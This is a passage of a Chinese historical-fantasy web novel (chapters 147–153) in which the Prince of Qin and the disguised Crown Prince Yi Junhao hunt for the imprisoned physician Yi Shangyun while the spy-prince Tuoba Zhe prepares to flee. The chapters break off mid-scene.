易君浩这时方才放弃了伪装,低声道“你…你是怎么知道本太子的身份?”

轩辕翰正色“哼,只要是本王想知道的,本王自有办

第一百四十七章:这个回报,你休想

易君浩根本不在乎他说了什么,只着急着想离开此地去找寻他丫头的下落“你到底想说什么,如果是说这些无稽之谈的话,那就免了。本太子很忙,没有时间陪你在这里……”

然还未等他將话说完,便被轩辕翰的一句话顿时惊呆了,轩辕翰说“万娇阁的正主乃是北烈大皇子拓跋泽,细细算来,他在我西秦至少也已经隐藏了有两年之久了。”

听到这话,易君浩顿时愣愣地惊声道:“什么?”

然随之却大笑起来“哈哈哈哈哈...原来,这西秦秦王也不过如此啊,竟治得自己的国家陷入如此四面楚歌的危境之中。”

就在这时,易君浩心里忽然似是明白了一件事情,接着对他说道“对了,本太子不妨再告诉你一件事,那日在万娇阁里,本太子也碰到了一个戴着蝶形面具的男子,那人言语里仿佛也是个细作。如今想来,在万娇阁自己的地盘上,他定不会是北烈的细作,也不会是我南安的细作,便只能是…富甲一方的东宁国细作了。哎吆…本太子忽然想起来,貌似秦王殿下的秦王妃亦刚好是这东宁国集万千宠爱于一身的永乐公主吧,难不成东宁是真打算要里应外合…如此,秦王可要格外小心了才是啊,放一个如此危险的美人儿整日在枕边...哈哈哈哈哈…”

易君浩话刚说完,接着又是一阵满是讥讽的大笑。而对于他这般伤口上撒盐,火上浇油般的讽刺和挑衅,轩辕翰自是选择默不作声,不屑予理会。

但易君浩此番言语,他口中所说的戴着蝶形面具似是细作的男子,倒却让轩辕翰更加确定了故意接近衣上云带其来万娇阁的人,定是那暗藏在西秦国里的东宁国三皇子梅志煊。只是,他到底为何要接近云儿,让他始终百思不得其解。

当易君浩察觉到自己的一番言语讽刺根本没有激到这个大冰块的时候,也终于正色下来道“看来,如今这西秦国,果真是成了传闻中的众矢之的了呀!”

轩辕翰略一抬眼不解地问“什么意思?”

易君浩叹了口气,起身来单手负后走到轩辕翰身后幽幽道“北烈皇子、本太子、还有那东宁细作,估计也定是个非一般的身份。难道秦王到现在,真的还不明白为什么所有人都聚集在你西秦境内么?…如今四国,论实力,各国可谓是势均力敌,不相上下。可如今却都按兵不动,是所为何由呢?只不过是其心中都对你西秦的那股神秘力量所忌惮罢了。”

稍作停顿,易君浩继续说道“自你西秦国先祖建国以来,整个灵空大陆,都盛传着在你西秦皇族内,存有一股世间极致神秘且至强的力量。也正是因这力量的守护,你们先祖才得以在这片落后贫瘠的西北之地

成功建国。此后,便有人云,得此力量者得天下,而这股力量究竟是什么,却无人知晓,世人皆众说纷纭。本太子相信,秦王也不是没有听说过此传闻,对么?”

见轩辕翰一直都沉默不语,没有丝毫动容,易君浩只得无奈道“好了,秦王既不愿说,那就算了。不过,本太子倒是相信,这力量总有一天会再现于世的。如若不然,怕是到时候...四国之战要在所难免了……”

易君浩的伺机试探终究没能有任何收获,然其最后说话的声音却愈来愈低。

其实,身为西秦皇族一员的轩辕翰,一直以来亦不明白这股力量到底是什么?这也是这么多年来,他交给陆贤探究的最大的难题。他又何曾不想早日找到并拥有这股力量,以免灵空大陆未来的一场浩劫,战争硝烟四起,百姓生灵涂炭……

就在俩人各自沉默了片刻后,易君浩言道“好了,该说的也都说完了,要揭露的秦王也都一一暴露了。本太子还要去找丫头,就不陪秦王殿下在这儿忧思了,告辞。”

轩辕翰闻此,这才回过神来忙道“等等,拓跋泽身边一定有你南安国毒蛊师相助。云儿曾在一个老婆婆和其媳妇的身上,同时发现了你南安国的蛊毒和北烈国的毒草,而且不知何故,他们还将婆婆的媳妇在万娇阁里藏匿了起来。万娇阁后院的茶室里,一定暗藏玄机,程良对里面的情况最是清楚不过,本王派程良与你同行,将万娇阁里的阴谋全部揭开。”

轩辕翰的这句话倒是提醒了他,他还没找那个万娇阁的老鸨认识认识呢。于是,便爽快的答应道“哦?原来你说这么多,是要本太子帮你对付那万娇阁里的毒蛊师啊。好,本太子就答应帮你这一次。那作为回报,你也得答应本太子一件事,将云儿……”

谁料,易君浩话才开头,轩辕翰便朝其厉声勃然大怒道“易三少,你休想。本王刚才对你那是客气了,这件事容不得你不答应。你南安国毒蛊师好端端的,为何跑到我西秦国境内兴风作浪,其意欲何为?今日,你若不愿意合作,本王便立刻将你逐出西秦国,再向南安讨伐,以后永远都不许你踏入我西秦国土半步。”

闻此,易君浩默默地吞咽下一口口水,瞬间哑口无言了去。

“咚咚咚”就在这时,门外忽然传来一阵叩门声。

轩辕翰怒声道“进来!”

“殿下,有个小厮上来说有急事找...易三少。”一直寸步不离,守在门外的程良,显然被方才传出来的主子的暴怒声吓得不轻,进来怯怯地禀报道。

那小厮满脸惶恐的一进来便怯生生地对众人行礼,然后走到易君浩面前,双手捧着那封至今都还尚未拆封的信,深感抱歉地

说道“这位公子,这房内的

第一百四十八章:谁能救她

听了易君浩的一番话,轩辕翰稍作沉默,吩咐程良“你护送易三少和太子一同前去,如果没有的话...立刻返回香满楼与我汇合。”

“殿下……”

程良预感今夜一定有大事发生,似是还有话想说,然轩辕翰却伸手将他止住,只意味深长地道“时间也差不多了,是时候该收场了……”

轩辕翰与轩辕玥亲自目送易君浩一行人刚策马离开如意居,轩辕玥终于再也按耐不住憋在心间许久的话,嘟着嘴向轩辕翰问道“皇叔为何不亲自去接云儿回来呢?”

轩辕翰闻之却并没有说话,只是淡淡地看了她一眼,随即又将目光落在那站在一旁,吓得一直在瑟瑟发抖的小厮身上“你过来。”

只见那小厮闻声忽然“扑通”一声,即刻重重地跪倒在了轩辕翰的脚下,哭天抹泪道“秦王殿下饶命,公主殿下饶命,小的有眼无珠,不知道是秦王殿下和公主殿下亲临如意居,小的真是罪该万死,罪该万死……”

小厮一边说着,一边重重地叩起首来。很快,额头便渐渐红起一大片来。

轩辕翰依旧冰块脸着,冷声道“你无须害怕,本王只是想问你一些事,你如实说来便可。”

“是,小的一定知无不言,如实交代。”小厮仍惶恐着道。

轩辕翰问“你方才说那女子一身狼狈,那你可见她...她的脸上是否有块红色胎记,亦或是她有无遮了面纱?”

闻此,小厮方才微微松了口气,稍作回想着,一边说道“回秦王殿下话,那女子应该只是淋了白天的一场突如其来的大雨,方才浑身都被浇灌的湿淋淋的。但她倒也算是一个面容姣好,洁白无瑕的貌美女子,并不曾以面纱遮面。”

“那不是云儿?”小厮话音刚落,轩辕玥顿时反应过来看着轩辕翰的侧脸急急道。

轩辕翰深吐一口浊气,实则心里却更担心了,就连眉头也悄悄紧紧皱了起来。千怕万怕,终究她还是落在了敌人的手里。

半晌后,他轻声喃喃道“她不是云儿,就只能是那兰香了。云儿真的出事了,那便也是指万娇阁里出事了。这兰香,方才怕是被万娇阁的人发现,遭人追杀所以才逃离开如意居的。”

轩辕玥亦是瞬间明白了过来,却又似还有些疑惑道“那个来这里找易三少的女子是兰香,她是来这里找易三少去救云儿的。那她为何说,关乎许多人的性命?莫非云儿她...已经找到了玉娘,她请易三少是去救她,也是去救玉娘?”

“易三少方才回来的时候走的是哪条路?”轩辕翰听着轩辕玥所说,忽然开口问小厮道。

小厮紧忙指着方才易君浩一行人离去的方向,道“就是刚刚离去的这条大道。”

“皇叔,你去哪儿?”见轩辕翰突然转身径自急急朝着如意居奔去,轩辕玥亦立刻上前跟着,疑惑的问。

轩辕翰抓紧时间快速上马,对那小厮道“你见过那女子,认识她的容貌,也跟本王一起走吧,务必尽快将那女子给本王找回来。”

小厮答“是”

“皇叔,我也去。”轩辕玥亦上马紧随其后,俩人带着如意居里的所有侍卫包括暗卫,一行几十个人,还大张旗鼓的打着秦王府的招牌,浩浩荡荡的一起在街上策马奔驰起来,很快便消失在一片深深的夜雾当中。

“皇叔,我们去哪儿找兰香?”轩辕玥不解地问道。

轩辕翰依旧惜字如金,冷冷道“万娇阁。”

轩辕玥听了一惊“万娇阁?皇叔为何不走方才易三少他们所走的那条路,岂不更近?”

轩辕翰解释“如果兰香逃离开如意居时候,走的是易三少所走的那条路的话,易三少一定不会和她错过的。”

轩辕玥恍然大悟,赞叹道“皇叔英明。可玥儿不明白皇叔夜间行事,为何如此大张旗鼓的行军呢?这排场似乎也……”

“本王就是要让东躲西藏着的兰香,很容易发现本王的队伍,也让那些追杀她的人闻风丧胆。”轩辕翰道。

轩辕玥又一次为这个皇叔感到震惊“原来如此,皇叔果然心思缜密。”

说完,俩人便用力一挥手中的鞭子,在夜里的街市上一边搜索着,一边扬长直奔万娇阁而去。

同样的一片夜色下,一女子在街上被两名黑衣杀手紧追不舍着。

此时,那女子已然跑得气也喘不过来了,显然已体力不支,她捂着胸口,紧张的感觉自己的心都要跳出来了似的。脚步也变得越来越沉重,俩腿已徐徐发软,似是随时随地都有瘫倒的可能。

放眼往后忽然一瞥,只见两道杀气腾腾的白光闪动着紧随其后,向她追来。

一时慌不择路,只顾往前拼命的急奔,竟不知自己路也走叉了,心中只道:“南无救苦救难观世音菩萨,保佑兰香得脱此难!”

不知不觉间,女子竟被逼到了一个漆黑的死胡同里,后面的俩个黑衣杀手一见,即刻相视而笑。

尔后便忽然腾空而起,刚好立在了女子的面前,挡住了她的去路。

那女子霎时惊恐近乎绝望的愣愣盯视着眼前二人,接着只见其中一人将

第一百四十九章:黑夜里的官衔牌

嫣红点点头“开始她也是反抗拒绝的,可是后来阁主拿我们的性命威胁云儿,她便应下了。”

“她怎么能答应?怎么能答应呢?不行,我绝对不能让阁主将云儿带走,绝对不能。”兰香咬牙切齿恨恨地一边说着,一边已经在着急的盘算着所有她能想到的可以救衣上云的办法。

忽然,她眼睛一亮,似是心里已经有了主意,随即连忙起身来拉起嫣红的手欲要离去,说道“如今,云儿让我找的那俩个人都没找着。看来,只有这个办法了...走,我们去找秦王殿下,揭发阁主的阴谋,秦王一定救得了云儿。”

嫣红略一迟疑,蹙眉疑惑道“秦王殿下?她会管我们这些小小庶民的闲事么?”

“你难道忘了,秦王殿下派人在万娇阁里所寻的那个画像上的女子了么?那便是云儿呀,你肯定想不到,云儿是秦王府的医女。”兰香惊喜道。

听了兰香的话,嫣红怔住眼睛终于恍然大悟,可依旧不能相信“原来如此,可…就算她是那秦王府上的一名医女,终究只不过一个身份卑微的王府奴婢,秦王又怎么可能会真的在意呢?”

兰香看着嫣红疑心重重的样子,顿时来了气,嘟着嘴只道“哎呦,你就不要疑神疑鬼,婆婆妈妈了。秦王既能派人画出那般逼真的画像,亲自来寻,定是有他的打算。我倒看那云儿气质不凡、她正义凛然、临危不惧、傲然风骨、绝非普通女子。说不定秦王对她……”

兰香说着说着,似是心中揣测到了一些什么极为微妙的事情,随即欲言又止了去。

一转念,她忽然又蹙眉似是有些什么顾虑,犹犹豫豫地问嫣红“只是,如果我们去跟秦王揭露了万娇阁的阴谋的话,茹姨与阁主狼狈为奸,如此…可能会连累茹姨,你…你真的忍心么?”

嫣红默不作声的听着,脸上的忧色却越来越浓,仔细想了想,那茹姨为了自己的儿子和有朝一日能报仇雪恨,在拓跋泽的面前一贯唯命是从、为虎作伥、小心翼翼、根本保护不了她丝毫。拓跋泽野心勃勃、心狠手辣、他们早晚得出事儿。

片刻后,心一横,一咬牙,嫣红说道“茹姨…她已经被仇恨蒙蔽了双眼,丧失了理智。此生,唯有西秦国方才是能够庇护嫣红永远的家园。除了西秦,嫣红哪儿都不去,香儿姐才是嫣红在这个世上唯一的亲人。以后,香儿姐走到哪里,嫣红便跟到哪里,嫣红与香儿姐,此生永远不离不弃。”

话毕,俩人深深地看着彼此的眼睛,紧紧抱做一团,瞬间满面热泪盈眶。

就在这时,从俩人身后那条漆黑的大道尽头,忽然传来一阵“嘚嘚嘚……”连续不断的马蹄声,与此同时还散发出隐隐约约的烛火之光。

俩人闻声即刻惊慌地再次退到了石狮子后面,警觉的躲藏起来,只同时缓缓探出来半个脑袋,向着发出声音来的方向睁大了眼睛凝神望去。

借着淡淡的烛火之光,兰香感觉那像是什么府衙的阵仗队伍,不禁疑惑道“这大半夜,黑灯瞎火的,怎么还会有官员在街上大张旗鼓地夜行呢?”

嫣红闻此眼睛咕噜一转,稍作思量,却道“香儿姐,不如…我们去报官吧。若是去找秦王殿下,我们也不知道去哪儿找啊。即便是知道去哪里能找到他,秦王那样高高在上的人,又岂是我们这般粗漏卑微的人能随意便能见到的。况且,就算见到了,他也未必会相信我们所说的话啊!没准儿,还将我们痛打一顿,或者关起来呢?到时候就更没有人能救云儿和揭发阁主的阴谋了。”

话音刚落,兰香便狠狠地瞪了嫣红一眼,刚说了她,这么快便忘记了。她总是这般胆小怕事,疑神疑鬼,兰香无奈地叹了口气道“不,我倒相信,人人口中所传颂的爱民如子的战神秦王殿下,他可不是那样的势力昏庸之人。况且,这万娇阁在西秦官吏中也关联甚广,眼下的这个官也不知道是不是与阁主同流合污的。倘若我们出去恰好落在他们手里,那岂不是自投罗网么?与其如此,我们倒不妨将所有赌注孤注一掷地全都压在秦王殿下身上。”

“可是……”嫣红依旧觉得眼下难得出现的这个官衙阵仗,是个不容错过的绝好求援机会,还想再劝。

然兰香却一脸决绝地将她的话噎了回去,训斥道“不要说了,我心意已决,你就不要再竟瞎出些馊主意了,此事事关重大,容不得有半分纰漏。你有想这些乱七八糟的时间,还不如好好想想,我们究竟去哪里才能找到秦王殿下本尊呢!”

说完,便气呼呼的将视线收了回去,背过身不再看这声势浩大的府衙夜行阵仗。

嫣红不得已也只得收了声,却依旧眼巴巴的望着眼前这即将擦肩而过的救命稻草,不想放弃。

随着远处那队伍距离俩人身边愈来愈近,当其行至街角即将拐弯离去的时候,嫣红忽然在那比一般官家夜里行走时,所用的要更加明亮许多的烛火照耀下,清清楚楚的看到队伍前面,被俩个侍卫高高举起的刻印着十分明显的‘秦王府’字样的官衔牌。

一时间,她似乎都不敢相信自己的眼睛,直伸手一次又一次用力地揉搓着那正常的不能再正常的一双大眼睛,霎时间竟惊的口痴了起来“香儿姐,香儿姐,快,快,你快看…是…是秦…秦…秦王府的官衔牌。”

然兰香却根本不听她的诱导之词,只依旧

第一百五十章:是生是死,看她造化了

轩辕玥哼笑一声,道“恰巧?哼……这可一点都不巧,秦皇叔如此大张旗鼓地在夜间行走,就是为了等你出现。你为何不一开始便来向秦王殿下求助呢?”

“秦皇叔?”闻此,兰香方才惊讶地意识到,眼前这个正骑在马上看似英姿飒爽,一直在朝她发问的女子原来是公主殿下。再瞧着她对衣上云的事情仿佛也很着急上心的样子。难道,她们俩也很熟?

一醒过神来,兰香连忙回话道“回秦王殿下和公主殿下的话,当时兰香被杀手追杀,云儿看出那些杀手是奔着民女性命来的,她便出谋说由她去接民女外婆,让民女设法到万娇阁里找人求救。民女知道秦王殿下在万娇阁找云儿,一开始便提议她直接找秦王殿下庇护,可云儿说殿下是在声东击西,以寻她做幌子,实则是在办朝廷的大事,不得因此让秦王殿下为她的事而分心,坏了殿下的大事。就算遇到殿下,也不得说漏半个字,如若不是如今兰香寻人不遇,没了主意,兰香断不敢……”

轩辕玥闻此,默默的将目光移向了轩辕翰,只见轩辕翰眉头越来越紧地皱着,焉知此时他的内心里闻此气直往上冲,这个蠢笨至极的女人,总爱自以为是自作聪明,到底什么时候才能明白他的心。

半晌后,他开口却问“你可识得玉娘?”

“玉娘?”兰香一听到这个名字,不禁俯首着有些瑟瑟发抖起来“不知殿下为何会问玉娘?”

“玉娘是本王安排在万娇阁里的人,却在不久前无端失踪,你可知道如今她人在何处?”

原来如此“玉娘,她被阁主关在了万娇阁后院的阁楼里。”

“胡说,万娇阁后院,本王的人已经都仔仔细细查过很多次了,根本未见有任何可以羁押人的地方?”轩辕翰忽然提高声音怒喝道。

“殿下息怒,玉娘和云儿真的都被关在万娇阁后院阁楼的密室里。”见此,嫣红连忙上前开口解释道,兰香也为此颇为惊讶,这后院阁楼禁地果然如她所料,暗藏玄机。

“密室?”轩辕翰看着嫣红喃喃着疑惑道。

嫣红接着又道“民女是万娇阁的嫣红,亦是老鸨的义女。无意中听老鸨说起,万娇阁后院的阁楼里有一个极为神秘的暗室。”

“那暗室,你可知道其机关在哪里?”轩辕翰顿时竟有些激动的问。

然嫣红却也无奈地摇起了头来。

忽然,她似是想到了什么,开口忙说“老鸨既知道阁楼里有密室,也许她知道开启密室的机关。民女去求老鸨,想她一定会告诉民女的。”

刻不容缓,轩辕翰怔了一下,随即将手一抬,便有侍卫上前来对跪在地上的俩个女子说道“姑娘,快上马。”

于是,一支浩浩荡荡的队伍

在漆黑的夜里,又开始继续加速直奔万娇阁而去。

万娇阁后院的茶室里。

拓跋泽的近身侍卫又一次认真地问道“殿下,如今西秦国的那股神秘力量我们还尚未探究到,殿下真就打算这样回国了么?”

拓跋泽坐在茶席上,看着眼前不断翻滚着的沸水,幽幽道“‘留着青山在,不怕没柴烧’,这俩年,关于那股世间极致神秘至强的力量,始终没有丝毫消息,我们甚至连这股力量究竟是什么都没弄清楚,只零零散散地探知道得此力量者得天下,而这股力量到底是一个神秘部落,还是一个特别的女子,是一把能斩妖除魔的神剑,还是一种拥有天下最神奇力量的神秘血液,还是一个这神秘部落世代相传的圣物,能创造奇迹的力量,一切的一切……”

欲言又止地停顿了片刻,吐了口浊气,他继续道“算了,先回去吧,此事,再从长计议。如今,万娇阁已经危在旦夕了。”

话一说完,他抬头向着窗外凝视着看了看对面那付诸了他不少心血和汗水的地方,一脸的不舍与无奈。

这时,旁边的侍卫也朝着他所看向的方向望了望,随后道“也好,反正我们早晚还是要再回来的。只望来年我们重返西秦的时候,二殿下能与我们齐心协力,那就太好了……”

见到主人依旧眼神悠长难舍难分地驻目沉思着,侍卫转口道“殿下带着衣上云先从密道里离开吧,属下来帮主子断后。”

拓跋泽闻此,方才收回视线,回过神缓缓起身来走到侍卫的面前,忽然将手搭在侍卫的肩上拍了拍,尤为客气地道“这些年,你跟着本皇子在外四处奔波,辛苦了。”

侍卫惶恐地拱手向其行礼道“主子这是什么话,这辈子能跟着主子,为主子分忧效力,是属下的福气。”

随后,拓跋泽又缓缓踱步到窗边,将眼睛闭起,幽幽道“万娇阁里的人,除了老鸨,其他人该处理就都处理掉。记住,千万不要留下任何蛛丝马迹。”

明明极为狠毒的话,此时却都被他说的那样云淡风轻,仿佛人命与草芥真无二般似的。

侍卫听了只疑惑欲言又止地问“那玉娘呢,殿下不会真的依了那衣上云的,将她放了吧,还是也……”

拓跋泽依旧只管轻闭着眼睛,不知是在盘算着什么还是在闭目养神。

沉默了半晌后,似是心里终于艰难地做好了一个决定,缓缓说道“将她还关在暗室里,就让她自生自灭吧,是生是死,就看她的造化了……”

侍卫听了,这才胸有成竹,信誓旦旦地道“殿下放心,属下知道怎么做了。殿下准备准备,快些启程吧,这会儿那秦王轩辕翰和他的侍卫正好都不在。”

“嗯,你自己也多保重

,处理好这里的一切马上跟上来。”

话一说完,侍卫便退下去安排准备了。

&

第一百五十一章:血水

俩个人紧紧地拥在了一起,泪水瞬间模糊了彼此的双眼。

她历尽凶险,终于见到了她,还好她还活着;

而她亦终于熬过了无数个绝望痛苦的日日夜夜,在她出现的时候,还好自己还活着;

不知为何,此时相拥着的俩人竟像是久别重逢的友人般情深意重。任谁都不会相信,她们实际上只不过是在秦王府短短几日里,一个是医者,一个是患者,仅此而已。

又或许,人生最美的相遇,往往只在一瞬间即成为了永恒。

她们谁都不曾想,自从上次在秦王府一别。再次相聚,竟然会是在这种境遇之下,一时间各自心里都百感交集。

忽然,玉娘回过神来连忙一把推开衣上云,即刻跪在她的面前一遍又一遍地在她面前磕起头来“对不起,对不起,都是玉娘的错。玉娘不该急于想要在临死之前得到平安的消息,便跟他们交换条件,将他们手里画像上女子的名字,亦就是你的名字告诉他们。这才让他们把你也抓了回来。玉娘真是罪该万死,罪该万死啊,不不不,就算是万死,玉娘亦难辞其疚……”

衣上云被突然而来的这眼前惊人一幕惊呆了,一醒过神来只连忙伸手又再次摸黑将玉娘捞了出来,直道“你快起来,没关系,没关系,真的没关系。这不是你的错,我来这里本就是为寻你而来的。”

“什么?衣姑娘是来寻我的?”玉娘闻此忽然止住了动作愣愣地吃惊道。

衣上云笑着点点头,俩人互相扶着背靠墙角席地而坐下来。衣上云方才握着玉娘的手缓缓道“除夕夜的时候,我在秦王府见到了婆婆和灵儿,方才知道你为了寻回夫君竟然甘愿沦落到这种地方来打听他的消息。便想着乘还有时间,来这里看看你,没想到,你真的出事了。玉娘,你真是太苦了。”

“不,玉娘不苦,只要能寻回夫君,一家团聚。就算是让玉娘上刀山下油锅,玉娘也在所不惜,只可惜那个人他说平安已经……死了。”玉娘一边抹着眼泪,一边声音颤颤地说着。

“死了?是谁说的?……对了,方才你说在你临死之前……”衣上云听着玉娘的话,眉头紧皱满是疑惑地问。

玉娘稍一回想,道“自从我再次回到万娇阁里,她们便继续给我每日服用各种不同的汤药,从未间断。直到前几日,那老鸨带着一个遮着面具的男子来到了这里。起初,我以为是自己的日子到了。谁料,那男子竟然说他有平安的消息,条件是让我告诉他那画像上女子的姓名。我…我太想念平安,太想知道他是生还是死,便告诉了他们。可他们却告诉我,平安已经死了。之后,那老鸨便拿着一把锋利的匕首朝我走来,我以为我要死了,却没想还在

这不见天日的地牢里苟延残喘着,与其这样毫无希望的活着,倒不如真的一死百了算了……”

话刚说完,玉娘便又一次痛哭起来。

衣上云连忙握紧她的手,宽慰道“毫无希望?玉娘你怎么能说毫无希望呢?灵儿还有婆婆,她们难道不是你真真实实存在的希望么?再说了,那些坏人的话岂能相信?他们说你的夫君死了,便真的死了?好人有好报,苍天有眼,定不敢枉收人性命去了的。”

“可是,这么多年过去了。已经太久了,我真的已经撑不下去了……”玉面的言语和神色里显得疲惫又无奈。

然衣上云却坚定道“既然你那么爱你的夫君…‘活要见人,死要见尸。’即便就算是死了已被尘土浅埋,那也要扒出尸骨来验一验。除非自己亲眼所见,否则怎能如此自暴自弃。这才是你真正该有的态度,不是么?”

这一番话刚出,玉娘心里便即刻似是有一股源源不断的力量涌了出来,连气也顺了不少,眼睛瞬间睁大着放射出熠熠生辉的光芒来,直道“对,对,对,我不该放弃,不能放弃。”

闻此,衣上云终于松了口气,笑了起来。

就在这时,玉娘忽然连续不断剧烈地咳嗽了起来“咳…咳…咳咳咳…咳咳咳……”

衣上云连忙紧张地拍着她的后背“你怎么了,怎么忽然咳的这么厉害…水…水…来人,来人啊。”

见她咳的话都说不出来,她赶忙松开玉娘的手,顺着墙壁站起身来,慌慌张张地想要摸到门边去要水,却在没走出几步时便被绊倒在地,只听“啊”的一声尖叫,她的手腕不知道被什么东西割到了,顿时鲜血直流。她来不及处理,玉娘那似是即将窒息的咳声让她本来就恐惧着的心变得更加恐惧。

终于,她摸到了门边上,大力地拍打着门板喊道“给我水,我要水,快点给我水…”

果然,门外看守的侍卫听到声音很快便走过来掀开门上巴掌大的小窗,吼道“喊什么喊,又不是死了人,再喊老子对你不客气了。”

“快点给我水,若没有水,你看会不会死人!”衣上云毫不畏惧地一边亦朝其怒着,一边将自己方才不小心割破的手腕亮到了小窗口。

那侍卫一见,果然吓得不轻,愣了一下,马上便过去递了一小壶水和一个白瓷茶碗给她,又速速将小窗掩了起来。

衣上云没有丝毫迟疑,再次顺着墙壁,一步一步摸黑找到玉娘,倒了碗水给她喂下。

殊不知,就在她摸黑给她倒水时,其手腕上那还未来得及处理的伤口,上面的鲜血一滴一滴不知道滴在茶碗的水里多少滴,竟都混着被玉娘一起饮了下去。

这样的一碗血水刚入腹不久,玉娘便止住了咳

嗽,衣上云方才关切道“可好点了么?再饮点吧。”

这时,玉娘已经完全可以自己捧着茶碗了,衣上云便腾出手来,替她把了把脉。惊道“你中毒了,看样子应该是一些不同的慢性毒,日积月累堆积起来而成的一种巨毒。”

就在这时,“吱呀”一声,暗室的门忽然被再次打开,一束久违了的刺眼的微光照射下,尘埃飞舞,随之缓缓现出一个高大伟岸的男子身影来

第一百五十二章:完璧归赵

拓跋泽心想,看来这个女子竟真的是个极为神秘的解毒高手。她竟然能神不知鬼不觉地便将这世间几乎是无解的美人血之毒都可以解了,这次真是得了个宝。

将她带回北烈一定不会错,哪怕她目前还不愿意为他所用。可他相信,时光漫漫,总有一天,她会想通的。到那时,他便如虎添翼,必将囊括四海。

一念至此,拓跋泽方才缓缓起身来单手负后着悠悠走到一边,深吸口气抬起头来看着玉娘道“也罢,本皇子既然曾答应过要帮你找回你的丈夫赵平安,以此来弥补对你养美人血所造成的伤害。虽说后来查到那赵平安确实已死,但终究还是本皇子失信与你了。为此,着实心中多少也是有些愧疚的。可如今,既然你身上的美人血,毒已解,本皇子也算是对你完璧归赵,问心无愧了。”

闻此,玉娘方才眉头紧锁着恍然大悟道“什么?你是……你就是那个北烈国茶商?”

当她接下来看到拓跋泽对她此疑问默认不讳,且一副高高在上的淡定姿态时,玉娘顿时便来了气,直怒道“住口,不许你在我面前提‘赵平安’三个字,你不配。枉我当初还把你当做好人,玉娘的夫君忠君爱国,一腔热血,岂容你这般卑鄙小人来玷污他的名节。更何况,关于平安,玉娘此后已经不会再相信任何人的只字片语了。玉娘相信平安……他一定不会死的。就算是他真的死了,我也一定要亲自扒出他的尸骨来验过才会相信。”

玉娘说完便将目光转向了旁边衣上云的脸上,衣上云朝她颇为满意地微笑着点了点头。

“你...人死不能复生,你又何苦如此执迷不悟呢?”拓跋泽见玉娘一脸决绝,如此坚定的意志,不禁震惊道。

然玉娘仍满脸坚决,轻蔑地朝其一笑,随后似是厌恶极了地说道“何苦?玉娘的事,与你何干?从现在起,我不想再跟你多说一个字,你在我西秦的国土上,做了这么多丧尽天良,泯灭人性的事。与你说话,玉娘感到恶心至极。玉娘但愿……从来都没有认识过你。”

话音刚落,拓跋泽似是还想开口为自己辩解些什么,却瞬间又将那张薄薄的微微半张开来的唇缓缓闭了起来。

最后,他吐了一口浊气,正色着背着玉娘,望着另一边,道“不管本皇子是北烈国皇子,还是这西秦万娇阁的阁主,亦或者又是那个北烈国茶商,但本皇子对你,从来都没有……算了,事到如今,本皇子说什么你都不会信的。有些话,还是烂在自己肚子里比较好……”

最终,他想说的还是一次次话到嘴边又吞了下去,他们俩的相遇,本就从一开始便注定是个错误。今天的结局,也只不过是在他预料之中的事罢了。只是

,他也不知道自己为何会被这预料之中的结局影响至此。

此时此刻,他的脑海里忽然浮起了他们第一次相见时的情景:明明是个庶民的身份,却天生丽质,一副不俗的如兰气质。为了寻那个叫做赵平安的人,她不惜四处碰壁,受尽冷眼与欺凌。还冒险闯入万娇阁里,假扮风尘女子想借机接近那些官员打探与北烈相关的消息,若不是他,她险些就被她口中所说的那些血肉同胞给侮辱了。

那些想要侮辱她的人,不正是她口口声声所要维护的西秦国同胞么。他们难道就没有错?

而他,他只不过是身不由己生在了帝王家,为了自己的国家做着自己使命里应该做的事情,承担着自己该承担的那份责任,又何错之有?

如今这个天下,又有哪个不在费劲心思虎视眈眈地想要一统天下呢?

假使,如果他不是北烈国的皇子,如果他不是承担着一份保家卫国的天命,是不是她就不会这么排斥他了呢?

可那又如何,左不过是个不合时宜的迟到的相遇。她已经有了她的天,她的地,她对此是那样的忠贞不渝。他又算什么?这注定就是一场悲剧。

而给她下毒,养美人血,是他做的最错的一个决定,而如今,幸好她的毒也已经被解了。

是时候了无牵挂地离开了,离开这个他既做不了为达目的不择手段的北烈国皇子,亦做不了真正的自己的地方。

离开这里,至少他可以全力以赴毫无顾忌地努力去争这个天下。从此,再也没有什么可以阻挡他这个坚定的脚步,没有。

而她,既然如此执着,那就由她自己去自生自灭吧,若她口中所谓的骨肉同胞能赶在她渴死或者饿死之前找到她,救了她,那便是她的幸运;而如若不能,那亦是她的命,一切,就让老天来决定吧。

想清楚了这所有过往,拓跋泽忽然转身过来眼怔怔地看向面前的俩个女子,女子顿时吓得不知所措彼此紧紧搀扶着紧挨在一起立着,一脸惶恐,不知道他又在打什么主意,想要对她们做什么?

片刻后,只见他正色着看向衣上云对其说道“本皇子前来是信守承诺,如约放了她们,带你回北烈的。你们若是叙旧够了的话,我们不妨就启程上路吧,外面的天色已经快亮了。”

衣上云闻之心里忽然惊了一下,原来进密室之前,他方才说的一切都是真的,他真的要带她回北烈国。此时,如若她不答应,那玉娘、兰香、嫣红……,可她当时并没有完全想好,她只想着先稳住她,等她想个万全之策来脱身。

可后来到了密室里,他又让人把她和玉娘关了起来,她便以为她是中计了,他实际上是想把她们全都控制起来以备他用。



今,还未等她来得及想到任何策略,这就要让她来不及做任何防备便如此措手不及的跟着他上路去北烈国了。

一念至此,衣上云只得吞吞吐吐再次开口拖延道“我……圣人有云‘

第一百五十三章:十里红妆怎及我江山为聘

“易三少,你……你是不是也喜欢云儿?”轩辕昊与易君浩连夜策马奔驰在前往兰香家的途中,轩辕昊自打在如意居里见到这个扮相十分妖艳洒脱的男子第一眼起,一路上便时不时地睁着圆圆的大眼向他上下打量,甚是好奇。思量许久,此时终于还是忍不住开口低声问了一句。

易君浩听了却淡淡地斜眼瞟了一眼身边的这个十岁少年,随后满满轻蔑的口气道“小孩儿,你毛都不曾长全,可懂得什么叫做喜欢?”

轩辕昊听闻即刻朝其不悦地哼之以鼻,又翻了个白眼,抬起头来没好气地道“哼,你才小孩儿呢。我已经十岁了,怎么不懂。瞧你对云儿的事火急火燎的那股上心劲儿,一点儿都不输于秦皇叔,你还不承认?”

眼瞅着易君浩依旧只埋头赶路,并不答他的话,他继续佯装着一副小大人的模样,道“唉,你们这些大人可真是奇怪,明明都很喜欢,却都不敢主动对人家姑娘表明心意。你是这般,秦皇叔亦是如此,真搞不懂你们在想什么?如果哪天云儿那丫头真的出事或者不见了,看你们俩个悔青肠子亦是枉然。”

话音刚落,易君浩便瞬间扭头朝其看过去,瞪起一双细长的桃花眼,像是要将这说错话的人活吞了一般,忿忿道“住嘴,有我易三少在,丫头这一生都不会有事。”

轩辕昊竟被其这般言色吓了一跳,一回过神来忙歉然着道“呸呸呸,本太子说错话了,云儿那丫头万分良善,一定会一世平安,好运相伴的。”

